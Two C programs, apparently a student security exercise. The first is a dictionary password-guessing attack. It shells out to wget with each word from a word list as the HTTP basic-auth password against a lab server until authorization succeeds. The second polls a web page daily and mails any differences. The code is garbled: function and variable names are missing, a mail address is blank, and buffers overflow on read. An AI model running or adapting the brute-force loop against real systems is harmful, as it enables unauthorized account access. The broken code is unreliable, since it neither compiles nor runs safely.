#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}

# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}
